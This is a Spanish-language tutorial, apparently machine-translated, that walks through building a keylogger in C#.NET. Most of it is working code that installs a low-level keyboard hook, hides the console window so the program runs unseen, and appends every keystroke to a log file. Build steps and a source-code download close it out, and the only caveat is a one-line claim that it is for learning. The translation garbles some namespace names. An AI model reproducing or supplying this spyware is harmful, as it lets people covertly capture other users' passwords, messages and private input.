Hacer Su Propio Registrador de teclas Utilizando C#.Net
por Arkadeep De
Se trata de un programa de aplicación que se utiliza para obtener el entrar tecla del teclado. generalmente se utiliza para el hacking fines.
De acuerdo a webopedia se trata de :
Un Registrador de teclas es un tipo de software de vigilancia (considerado ya sea de software o programas espía (spyware) que tiene la capacidad de registrar cada golpe de teclado a un archivo de registro, generalmente cifrado. Un Registrador de teclas grabadora puede grabar mensajes instantáneos, e-mail, y cualquier información que se escribe en cualquier momento utilizando su teclado.
Aquí voy a mostrar esto no para hackear a alguien equipos, pero para conocer el proceso.
Así que vamos a empezar a hacer nuestro propio Registrador de teclas.
Iniciar una Aplicación de Consola en visual Studio.
Ahora agregar el espacio de nombres
- el uso del Sistema.El diagnóstico;
- el uso del Sistema.Windows.Formas;
- el uso del Sistema.En tiempo de ejecución.InteropServices;
- el uso del Sistema.IO;
Ahora agregue algunas de las variables globales
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Ahora en el Main()
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // to hide the running application
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Ahora agregue código fuera de Main()
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
/*for this create a folder named "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Ahora agregar algunos archivos Dll
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
y al final hacer la SW_HIDE 0
const int SW_HIDE = 0;
Ahora después de hacer todos estos obtendrá un error en el uso del Sistema.Windows.Los formularios.
Para evitar este error se debe agregar una referencia de Windows.Los formularios.
Cómo hacerlo?
Haga clic derecho sobre el nombre del proyecto en el Explorador de soluciones. Y haga clic en Agregar Referencia.
Ahora en la .Ficha de NET elegir el Sistema.Windows.Formulario
Y haga clic en el botón ACEPTAR. Ahora bien, si usted comprobar en la Referencia de la Solución Explorer usted conseguirá que el se ha añadido una referencia.
Ahora Construir(Presione F6) y revise si hay algún error o no. Según el código no debería cualquier error presente. Para ejecutar el programa.
Si ejecuta el código de la Aplicación.StartupPath, a continuación, compruebe el archivo de registro en bin -> carpeta de depuración. Y también te .EXE en virtud de esa carpeta. Así que a disfrutar...
Descargar el código fuente completo aquí.
Fecha de publicación: